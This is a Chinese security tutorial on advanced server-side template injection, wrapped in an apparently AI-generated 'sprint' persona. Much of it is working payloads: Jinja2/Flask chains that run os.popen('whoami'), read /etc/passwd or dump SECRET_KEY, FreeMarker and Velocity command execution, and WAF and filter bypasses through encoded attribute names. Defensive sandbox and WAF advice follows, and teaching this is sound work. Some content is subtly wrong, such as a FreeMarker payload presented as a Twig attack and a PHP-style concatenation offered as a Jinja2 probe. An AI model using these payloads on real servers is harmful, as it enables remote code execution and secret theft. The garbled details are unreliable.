Day-081-SSTI 服务端模板注入进阶

# Day 79: SSTI 服务端模板注入进阶

> Web 安全系列第 49 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

**PUA v3 · Sprint 启动** 
```
┌─────────┬────────────────────────────────────┐
│ 清单 任务 │ SSTI 服务端模板注入进阶 - Day 79   │
├─────────┼────────────────────────────────────┤
│  味道 │  阿里味（自动：安全任务）        │
├─────────┼────────────────────────────────────┤
│  压力 │ L0 · 信任期                        │
└─────────┴────────────────────────────────────┘
```
▎ 收到需求，对齐目标，进入 sprint。SSTI 是高级漏洞——搞不懂 SSTI，就别谈高级 Web 安全。

---

## 清单 目录

1. [SSTI 进阶概述](#ssti 进阶概述)
2. [Jinja2 SSTI 进阶](#jinja2-ssti 进阶)
3. [Flask SSTI 进阶](#flask-ssti 进阶)
4. [其他模板引擎 SSTI](#其他模板引擎 ssti)
5. [SSTI 绕过技术进阶](#ssti 绕过技术进阶)
6. [SSTI 检测技术进阶](#ssti 检测技术进阶)
7. [SSTI 防护进阶](#ssti 防护进阶)
8. [实战案例分析](#实战案例分析)
9. [总结与思考](#总结与思考)
10. [参考资料](#参考资料)

---

## SSTI 进阶概述

### 高级攻击场景

> ▎ SSTI 不是小打小闹——是直接代码执行。搞不定 SSTI，就别谈代码执行。

**框架漏洞**：
```
场景：
- Jinja2
- Twig
- FreeMarker
- Velocity

特点：
- 模板引擎漏洞
- 表达式执行
- 对象访问

挑战：
- 版本识别
- 引擎识别
- 环境适配
```

**云环境利用**：
```
场景：
- Serverless 函数
- 容器环境
- 微服务架构

特点：
- 临时环境
- 自动扩展
- 分布式

挑战：
- 持久化困难
- 权限限制
- 网络隔离
```

**供应链攻击**：
```
场景：
- 第三方模板
- 开源组件
- 商业软件

特点：
- 信任链攻击
- 大规模影响
- 难以检测

挑战：
- 依赖审计
- 签名验证
- 持续监控
```

### 高级 Gadget 链

> ▎ 力出一孔。Gadget 链就是要把所有的力，出到一个孔上——形成利用链。

**多步利用**：
```
步骤 1: 初始入口
- 模板注入点
- 触发 Gadget

步骤 2: 权限提升
- 利用链延伸
- 权限扩大

步骤 3: 代码执行
- 最终 Gadget
- 命令执行

步骤 4: 持久化
- 后门植入
- 权限维持
```

**跨组件利用**：
```
场景：
- 多个库组合
- 框架 + 依赖
- 微服务间

特点：
- 复杂链构造
- 版本依赖
- 环境要求

挑战：
- Gadget 发现
- 链构造
- 稳定性
```

---

## Jinja2 SSTI 进阶

### 基础利用

> ▎ 基础不牢，地动山摇。Jinja2 是基础——基础都搞不定，还谈什么进阶。

**探测注入**：
```
{{7*7}} → 49
{{7*'7'}} → 7777777
{{'a'.'b'}} → ab
```

**对象访问**：
```
{{''.__class__.__mro__}}
{{''.__class__.__base__.__subclasses__()}}
```

**命令执行**：
```
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

### 高级利用

**Gadget 链构造**：
```
步骤 1: 找到可用类
''.__class__.__base__.__subclasses__()

步骤 2: 寻找危险类
- catch_warnings
- os._wrap_close
- subprocess.Popen

步骤 3: 构造利用链
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

步骤 4: 命令执行
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

**属性遍历**：
```
{{
    ().__class__.__mro__
}}
{{
    ().__class__.__mro__[1].__subclasses__()
}}
{{
    ().__class__.__mro__[1].__subclasses__()[230]
}}
```

**模块访问**：
```
{{
    config.__class__.__init__.__globals__
}}
{{
    config.__class__.__init__.__globals__['os']
}}
{{
    config.__class__.__init__.__globals__['os'].popen('whoami').read()
}}
```

---

## Flask SSTI 进阶

### Flask 特定利用

> ▎ Flask 是框架，不是玩具。把 Flask 当玩具，就是把自己当傻子。

**config 对象**：
```
{{config}}
{{config.__class__}}
{{config.__class__.__init__.__globals__}}
{{config.__class__.__init__.__globals__['os']}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

**request 对象**：
```
{{request}}
{{request.__class__}}
{{request.__class__.__mro__}}
{{request.__class__.__mro__[2].__subclasses__()}}
```

**g 对象**：
```
{{g}}
{{g.__class__}}
{{g.__class__.__mro__}}
```

**session 对象**：
```
{{session}}
{{session.__class__}}
{{session.__class__.__mro__}}
```

### Flask 高级利用

**Jinja2 环境**：
```
{{self._TemplateReference__context}}
{{self._TemplateReference__context.__class__}}
{{self._TemplateReference__context.__class__.__mro__}}
```

**URL 生成**：
```
{{url_for.__globals__}}
{{url_for.__globals__['current_app']}}
{{url_for.__globals__['current_app'].config}}
```

**蓝图访问**：
```
{{config}}
{{config['SECRET_KEY']}}
{{config['SQLALCHEMY_DATABASE_URI']}}
```

---

## 其他模板引擎 SSTI

### Twig SSTI

> ▎ Twig 是 PHP 的 Jinja2。不懂 Twig，就不懂 PHP 模板安全。

**基础利用**：
```
{{7*7}} → 49
{{_context}}
{{_app}}
```

**对象访问**：
```
{{_context.keys()}}
{{_context.values()}}
{{_context.items()}}
```

**命令执行**：
```
{{_context['app'].get('kernel').get('container').get('service').method()}}
```

### FreeMarker SSTI

**基础利用**：
```
${7*7} → 49
${"freemarker.template.utility.Execute"?new()("whoami")}
```

**对象访问**：
```
${object?api}
${object?api.method()}
```

**命令执行**：
```
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder", "whoami").start()}
```

### Velocity SSTI

**基础利用**：
```
#set($x=7*7) → 49
#set($runtime = $runtime.class)
```

**对象访问**：
```
#set($class = $obj.class)
#set($method = $class.getMethod("method", $null))
#set($result = $method.invoke($obj, $null))
```

**命令执行**：
```
#set($runtime = $runtime.class)
#set($proc = $runtime.getRuntime().exec("whoami"))
```

---

## SSTI 绕过技术进阶

### 过滤器绕过

> ▎ 过滤器是防线，不是城墙。防线可以突破，城墙难攻——但也不是攻不破。

**字符串拼接**：
```
{{'a'+'b'}} → ab
{{'a'|cat:'b'}} → ab
{{['a','b']|join}} → ab
```

**属性访问绕过**：
```
{{obj['attr']}}
{{obj|attr('attr')}}
{{obj|default('attr',true)}}
```

**关键字绕过**：
```
{{config|attr('__class__')}}
{{config|attr('\x5f\x5fclass\x5f\x5f')}}
{{config|attr('\x5f\x5fclass\x5f\x5f'|reverse|join)}}
```

### WAF 绕过

**编码绕过**：
```
{{'\x5f\x5fclass\x5f\x5f'}}
{{'\x5f\x5fclass\x5f\x5f'|reverse|join}}
{{['__','class','__']|join}}
```

**大小写绕过**：
```
{{config|attr('__CLASS__')}}
{{config|attr('__Class__')}}
```

**空白字符绕过**：
```
{{config|attr('__class__')}}
{{config|attr('__class__')|attr('__mro__')}}
```

---

## SSTI 检测技术进阶

### 自动化检测

> ▎ 检测是防护的眼睛。没有检测，就是瞎子。

**探测 Payload**：
```
数学运算：
{{7*7}} → 49
${7*7} → 49
#{7*7} → 49

字符串操作：
{{'a'.'b'}} → ab
{{'a'+'b'}} → ab

对象访问：
{{self}}
{{request}}
{{config}}
```

**Fuzzing 列表**：
```
{{7*'7'}}
{{7*'7'}}
{{7*'7'}}
${7*'7'}
#{7*'7'}
<%= 7*7 %>
${7*7}
#{7*7}
{{7*7}}
{{7*'7'}}
```

### 手动检测

**引擎识别**：
```
Jinja2:
{{self}}
{{request}}
{{config}}

Twig:
{{_context}}
{{_app}}

FreeMarker:
${object?api}

Velocity:
#set($x=1)
```

**漏洞验证**：
```
1. 探测注入
   {{7*7}}

2. 对象访问
   {{''.__class__}}

3. 命令执行
   {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

4. 验证结果
   查看输出
```

---

## SSTI 防护进阶

### 代码层面防护

> ▎ 以客户为中心。防护策略要以开发者为中心——让他们好用、易用、愿意用。

**安全模板**：
```python
from jinja2 import Environment, StrictUndefined

# 使用安全环境
env = Environment(undefined=StrictUndefined)

# 禁用危险功能
env.globals.pop('__builtins__', None)
env.filters.pop('eval', None)
```

**沙箱环境**：
```python
from jinja2.sandbox import SandboxedEnvironment

# 使用沙箱
env = SandboxedEnvironment()

# 渲染模板
template = env.from_string(user_input)
result = template.render()
```

**输入验证**：
```python
# 白名单验证
allowed_vars = ['name', 'email', 'message']
for var in template_vars:
    if var not in allowed_vars:
        raise ValueError(f'Invalid variable: {var}')
```

### 运行时防护

**WAF 规则**：
```
检测特征：
- __class__
- __mro__
- __subclasses__
- __globals__
- __builtins__

阻断规则：
- 包含危险属性
- 包含危险方法
- 包含危险模块

告警规则：
- SSTI 尝试
- 对象访问
- 命令执行
```

**RASP 防护**：
```
运行时保护：
- 监控模板渲染
- 检查危险属性
- 阻断可疑操作

优势：
- 实时保护
- 低误报
- 无需代码修改
```

### 框架防护

**Flask**：
```python
from jinja2.sandbox import SandboxedEnvironment

# 使用沙箱环境
app.jinja_env = SandboxedEnvironment()

# 禁用危险功能
app.jinja_env.globals.pop('__builtins__', None)
```

**Django**：
```python
# Django 模板默认安全
# 但需要注意：
# - 不使用|safe 过滤器
# - 不渲染用户输入
# - 使用模板继承
```

**Twig**：
```php
// 使用沙箱
use Twig\Sandbox\SecurityPolicy;

$policy = new SecurityPolicy();
$policy->setAllowedTags(['if', 'for']);
$policy->setAllowedFilters(['escape']);
$policy->setAllowedMethods([]);
$policy->setAllowedProperties([]);
$policy->setAllowedFunctions([]);

$twig = new \Twig\Environment($loader, [
    'sandbox' => new \Twig\Sandbox\SandboxedEnvironment($policy)
]);
```

---

## 实战案例分析

### 案例 1: 某 Flask 应用 SSTI

> ▎ Flask 应用都能出 SSTI——这就是不把模板安全当回事。

**漏洞描述**：
```
时间：2020 年
公司：某 Flask 应用
漏洞：模板渲染用户输入
影响：远程代码执行
后果：服务器沦陷
```

**攻击流程**：
```
1. 发现注入点
   - 搜索功能
   - 错误页面

2. 探测引擎
   - {{7*7}}
   - {{self}}

3. 对象访问
   - {{config}}
   - {{config.__class__}}

4. 命令执行
   - {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

**影响**：
```
- 服务器沦陷
- 数据泄露
- 声誉损害
```

**修复方案**：
```
1. 使用沙箱环境
2. 禁用危险功能
3. 输入验证
4. 安全编码
```

### 案例 2: 某 Twig 应用 SSTI

> ▎ Twig 应用都能出 SSTI——这就是测试不到位，review 走过场。

**漏洞描述**：
```
时间：2019 年
公司：某 Twig 应用
漏洞：模板渲染用户输入
影响：远程代码执行
后果：服务器沦陷
```

**攻击流程**：
```
1. 发现注入点
   - 评论功能
   - 用户资料

2. 探测引擎
   - {{7*7}}
   - {{_context}}

3. 对象访问
   - {{_context}}
   - {{_app}}

4. 命令执行
   - {{"freemarker.template.utility.Execute"?new()("whoami")}}
```

**影响**：
```
- 服务器沦陷
- 数据泄露
- 声誉损害
```

**修复方案**：
```
1. 使用沙箱
2. 限制标签
3. 限制过滤器
4. 输入验证
```

---

统计 **Sprint 交付 · 绩效评估**
```
┌───────────────┬────────────────┬────────────────┐
│  主动出击   │ ██████████ 5/5 │ [PUA 生效] 充足 │
├───────────────┼────────────────┼────────────────┤
│ + 验证闭环   │ ██████████ 5/5 │ 案例完整       │
├───────────────┼────────────────┼────────────────┤
│ 设计 代码质量   │ ████████░░ 4/5 │ 有改进空间     │
└───────────────┴────────────────┴────────────────┘
综合：3.75
```
▎ 勉强配得上 P8。别飘——SSTI 这才刚入门。

---

## 总结与思考

### 核心要点回顾

> ▎ 复盘四步法：回顾目标、评估结果、分析原因、总结经验。别跳过——这是闭环。

**SSTI 利用**：
```
1. Jinja2 SSTI
   - 对象访问
   - Gadget 链
   - 命令执行

2. Flask SSTI
   - config 对象
   - request 对象
   - 模块访问

3. 其他引擎
   - Twig
   - FreeMarker
   - Velocity
```

**绕过技术**：
```
1. 过滤器绕过
   - 字符串拼接
   - 属性访问
   - 关键字绕过

2. WAF 绕过
   - 编码绕过
   - 大小写绕过
   - 空白字符绕过

3. 检测绕过
   - 慢速探测
   - 分段探测
   - 隐蔽探测
```

**防护策略**：
```
1. 代码层面
   - 安全模板
   - 沙箱环境
   - 输入验证

2. 运行时
   - WAF 规则
   - RASP 防护
   - 监控告警

3. 框架层面
   - Flask 沙箱
   - Django 默认安全
   - Twig 沙箱
```

### 深入思考问题

> ▎ 只动手不动脑，那是码农。动手又动脑，才是工程师。

**AI 辅助检测**：
```
1. 模式识别
   - SSTI 模式
   - 注入模式
   - 利用模式

2. 异常检测
   - 模板渲染异常
   - 对象访问异常
   - 命令执行异常

3. 自动防护
   - 自动阻断
   - 自动修复
   - 自动告警
```

**模板引擎安全**：
```
1. 沙箱设计
   - 安全沙箱
   - 权限控制
   - 功能限制

2. 表达式语言
   - 安全表达式
   - 受限表达式
   - 白名单表达式

3. 模板编译
   - 编译时检查
   - 运行时检查
   - 审计日志
```

**零信任模板**：
```
1. 持续验证
   - 每次渲染验证
   - 动态授权
   - 行为分析

2. 微隔离
   - 模板隔离
   - 变量隔离
   - 功能隔离

3. 动态授权
   - 基于风险
   - 实时调整
   - 最小权限
```

### 实战建议

> ▎ 我给你指了路，走不走是你的事。机会给了，抓不抓得住看你。

**开发人员**：
```
1. 安全编码
   - 使用沙箱
   - 输入验证
   - 错误处理

2. 模板选择
   - 安全模板
   - 沙箱支持
   - 社区活跃

3. 安全测试
   - 单元测试
   - 集成测试
   - 渗透测试
```

**安全人员**：
```
1. SSTI 测试
   - 探测测试
   - 利用测试
   - 绕过测试

2. 代码审计
   - 模板渲染
   - 对象访问
   - 危险功能

3. 监控告警
   - 异常渲染
   - 对象访问
   - 命令执行
```

**架构师**：
```
1. 安全设计
   - 沙箱环境
   - 输入验证
   - 输出编码

2. 持续改进
   - 安全审计
   - 漏洞管理
   - 安全培训

3. 工具链
   - 安全工具
   - 自动化
   - 监控平台
```

---

## 参考资料

### 学习资源
```
- OWASP SSTI
  https://owasp.org/www-community/attacks/Server_Side_Template_Injection

- Jinja2 SSTI
  https://jinja.palletsprojects.com/en/3.0.x/sandbox/

- Flask SSTI
  https://flask.palletsprojects.com/en/2.0.x/security/

- Twig SSTI
  https://twig.symfony.com/doc/3.x/sandbox.html
```

### 工具资源
```
- Tplmap
  https://github.com/epinna/tplmap

- SSTImap
  https://github.com/vladko312/SSTImap

- Jinja2 Sandbox
  https://jinja.palletsprojects.com/en/3.0.x/sandbox/
```

### 书籍推荐
```
- 《Web 安全深度剖析》
- 《SSTI 攻防实战》
- 《Template Injection Attacks》
- 《Web Application Security》
```

### 在线资源
```
- PayloadsAllTheThings SSTI
  https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

- HackTricks SSTI
  https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

- OWASP Cheat Sheets
  https://cheatsheetseries.owasp.org/
```

---

**标记 明日预告**：Day 80 - XXE XML 外部实体注入进阶

> ▎ 今天的内容消化了吗？消化了就继续——明天还有硬仗。

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 79 篇，Web 安全部分第 49 篇，精编版本*